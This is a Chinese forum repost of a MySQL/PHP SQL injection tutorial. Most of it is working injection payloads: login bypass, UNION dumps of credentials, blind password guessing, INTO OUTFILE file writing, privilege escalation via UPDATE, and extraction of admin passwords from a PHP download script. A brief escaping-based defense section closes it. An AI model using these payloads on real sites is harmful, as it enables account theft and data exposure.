$command = "dir c:\"; system($command); |
①SELECT * FROM article WHERE articleid='$id' ②SELECT * FROM article WHERE articleid=$id |
① 指定变量$id为: 1' and 1=2 union select * from user where userid=1/* 此时整个SQL语句变为: SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*' ②指定变量$id为: 1 and 1=2 union select * from user where userid=1 此时整个SQL语句变为: SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1 |
$sql = "SELECT * FROM " . FORUMS_TABLE . " WHERE forum_id = $forum_id"; |
CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; # # 导出表中的数据 `user` # INSERT INTO `user` VALUES (1, 'angel', 'mypass'); |
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM user WHERE username='$username' AND password='$password'"; $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); if (empty($userinfo)) { echo "登陆失败"; } else { echo "登陆成功"; } echo "<p>SQL Query:$sql<p>"; ?> |
http://127.0.0.1/injection/user.php?username=angel' or 1=1 |
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 登陆失败 SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password='' PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 |
http://127.0.0.1/injection/user.php?username=angel' or '1=1 |
http://127.0.0.1/injection/user.php?username=angel'/* http://127.0.0.1/injection/user.php?username=angel'%23 |
<form method="GET" action="search.php" name="search"> <input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search"> </form> <p><b>Search result</b></p> <?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $keywords = $_GET['keywords']; if (!empty($keywords)) { //$keywords = addslashes($keywords); //$keywords = str_replace("_","\_",$keywords); //$keywords = str_replace("%","\%",$keywords); $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC"; $result = mysql_db_query($dbname,$sql); $tatol=mysql_num_rows($result); echo "<p>SQL Query:$sql<p>"; if ($tatol <=0){ echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n"; } else { while ($article=mysql_fetch_array($result)) { echo "<li>".htmlspecialchars($article[title])."<p>\n"; } //while } } else { echo "<b>;Please enter some keywords.</b><p>\n"; } ?> |
%' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# |
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC |
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM user WHERE username='$username'"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) { echo "该记录不存在"; echo "<p>SQL Query:$sql<p>"; exit; } echo "你要查询的用户ID是:$row[userid]\n"; echo "<p>SQL Query:$sql<p>"; ?> |
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username' |
http://127.0.0.1/injection/user.php?username=angel' and password='mypass |
SELECT * FROM user WHERE username='angel' AND password='mypass' |
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 |
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass |
[img=700,405]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1514[/attach][/img]
看了这个图直观多了吧?所以应该先知道前面查询表的数据表的结构。如果我们查询两个数据表的字段相同,类型也相同,我们就可以这样提交:SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM…… |
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM…… |
The used SELECT statements have a different number of columns |
CREATE TABLE `article` ( `articleid` int(11) NOT NULL auto_increment, `title` varchar(100) NOT NULL default '', `content` text NOT NULL, PRIMARY KEY (`articleid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; # # 导出表中的数据 `article` # INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!'); INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); |
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) { echo "该记录不存在"; echo "<p>SQL Query:$sql<p>"; exit; } echo "title<br>".$row[title]."<p>\n"; echo "content<br>".$row[content]."<p>\n"; echo "<p>SQL Query:$sql<p>"; ?> |
http://127.0.0.1/injection/show.php?id=1 |
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user …… |
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* |
[img=778,180]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1515[/attach][/img]
其实,我们提交的articleid=1是article表里存在的,执行结果就是真了,自然返回前面SELECT的结果,当我们提交空的值或者提交一个不存在的值,就会蹦出我们想要的东西:http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/* |
[img=770,180]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1516[/attach][/img]
现在就在字段相对应的地方显示出我们所要的内容。如果还不清楚思路以及具体的应用,后面还会讲到一些高级的技巧。select * from table into outfile 'c:/file.txt' select * from table into outfile '/var/www/file.txt' |
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt' |
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt |
[img=701,479]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1517[/attach][/img]
由于代码本身就有WHERE来指定一个条件,所以我们导出的数据仅仅是满足这个条件的数据,如果我们想导出全部呢?其实很简单,只要使这个WHERE条件为假,并且指定一个成真的条件,就可以不用被束缚在WHERE里了,来看看经典1=1发挥作用了:http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt |
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt' |
[img=479,126]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1520[/attach][/img]
但是跨表的导出文件的语句该怎么构造呢?还是用到UNION联合查询,所以一切前提条件都应该和UNION、导出数据一样,跨表导出数据正常情况下应该相下面的一样:SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt' |
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt |
[img=544,134]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1519[/attach][/img]
所以我们把应该使前面的查询语句为假,才能只导出后面查询的内容,只要提交:http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt |
[img=479,126]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1520[/attach][/img]
值得注意的是想要导出文件,必须magic_quotes_gpc没有打开,并且程序也没有用到addslashes()函数,还有不能对单引号做任何过滤,因为我们在提交导出路径的时候,一定要用引号包含起来,否则,系统不会认识那是一个路径,也不用尝试用char()或者什么函数,那是徒劳。CREATE TABLE `user` ( `userid` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR( 20 ) NOT NULL , `password` VARCHAR( 50 ) NOT NULL , `homepage` VARCHAR( 255 ) NOT NULL , `userlevel` INT DEFAULT '1' NOT NULL , PRIMARY KEY ( `userid` ) ); |
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); |
http://4ngel.net', '3’)# |
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1'); |
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' |
http://4ngel.net', userlevel='3 |
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' |
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' |
mypass)' WHERE username='admin'# |
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' |
' OR username='admin' |
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' |
DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() …… |
UPDATE article SET title=$title WHERE articleid=1 |
UPDATE article SET title=DATABASE() WHERE id=1 #把当前数据库名更新到title字段 UPDATE article SET title=USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SYSTEM_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=SESSION_USER() WHERE id=1 #把当前 MySQL 用户名更新到title字段 UPDATE article SET title=CURRENT_USER() WHERE id=1 #把当前会话被验证匹配的用户名更新到title字段 |
http://127.0.0.1/injection/show.php?id=1 |
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() |
#!/usr/bin/perl #cody by Super·Hei #to angel #C:\>test.pl c:\boot.ini #99,58,92,98,111,111,116,46,105,110,105 $ARGC = @ARGV; if ($ARGC != 1) { print "Usage: $0 \n"; exit(1); } $path=shift; @char = unpack('C*', $path); $asc=join(",",@char); print $asc; |
SELECT * FROM user WHERE username='angel' |
SELECT * FROM user WHERE username=char(97,110,103,101,108) # char(97,110,103,101,108) 相当于angel,十进制。 SELECT * FROM user WHERE username=0x616E67656C # 0x616E67656C 相当于angel,十六进制。 |
SELECT * FROM user WHERE userid=userid |
http://127.0.0.1/injection/user.php?userid=1 |
http://127.0.0.1/injection/user.php?userid=1 and password=mypass |
http://127.0.0.1/injection/user.php?userid=1 and password='mypass' |
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115) |
[img=760,453]mhtml:file://E:\PHP 学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1521[/attach][/img]
然后在 mysql>命令提示符下或者在phpMyadmin里面执行:select char(109,121,112,97,115,115) |
[img=322,344]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1522[/attach][/img]
当然也可以使用SUBSTRING(str,pos,len)和MID(str,pos,len)函数,从字符串 str 的 pos 位置起返回 len 个字符的子串。这个和ACCESS是一样的。还是刚才的例子,我们猜password字段的第三位、第四位试试,第三位是p,第四位是a,我们这样构造:http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112) http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97) |
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112 |
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 |
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97) |
[img=521,432]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1523[/attach][/img]
判断最主要靠什么?经验,我以前一直都说,经验很重要,丰富经验能更好的作出正确的判断,因为程序的代码是千变万化的,我们这里是只是举个最简单的例子,这里由于局限性,程序都是我自己写、自己测试的。方法因程序而异。希望大家在实战中,注意区别,不要照搬,灵活运用才是根本。http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 |
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user |
site_article site_user site_download forum_user forum_post …… |
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 |
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user |
[img=715,653]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1524[/attach][/img]
嗯,这个HB还真是够懒的,这么烂的程序也不知道先修改一下再用,不过也是,没有多少人和我一样有闲心先去加固程序才用的,再看默认的用户id还在不在?http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
if ($id > "0" && $id < "999999999" ): //这里是正确执行的代码 else: echo "<p><center><a href=./list.php>无记录</a></p>\n"; |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 |
CREATE TABLE ymdown ( id int(10) unsigned NOT NULL auto_increment, name varchar(100) NOT NULL, updatetime varchar(20) NOT NULL, size varchar(100) NOT NULL, empower varchar(100) NOT NULL, os varchar(100) NOT NULL, grade smallint(6) DEFAULT '0' NOT NULL, viewnum int(10) DEFAULT '0' NOT NULL, downnum int(10) DEFAULT '0' NOT NULL, homepage varchar(100), demo varchar(100), brief mediumtext, img varchar(100), sort2id smallint(6) DEFAULT '0' NOT NULL, down1 varchar(100) NOT NULL, down2 varchar(100), down3 varchar(100), down4 varchar(100), down5 varchar(100), PRIMARY KEY (id) ); |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
[img=662,551]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1525[/attach][/img]
验证测试结果http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 #验证第一位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 #验证第二位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 #验证第三位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52 #验证第四位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53 #验证第五位密码 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54 #验证第六位密码 |
[img=612,531]mhtml:file://E:\PHP学习\转载关于MYSQL语句存在注入漏洞的写法 - jingangel - 网易博客.mht![attach]1526[/attach][/img]
注入的防范$id = intval($id); mysql_query("SELECT * FROM article WHERE articleid='$id'"); |
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."") |
$username = addslashes($username); mysql_query("SELECT * FROM members WHERE userid='$username'"); |
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."") |
$keywords = addslashes($keywords); $keywords = str_replace("_","\_",$keywords); $keywords = str_replace("%","\%",$keywords); |
欢迎光临 就爱编程论坛 (http://bbs.waibc.com/) | Powered by Discuz! X2 |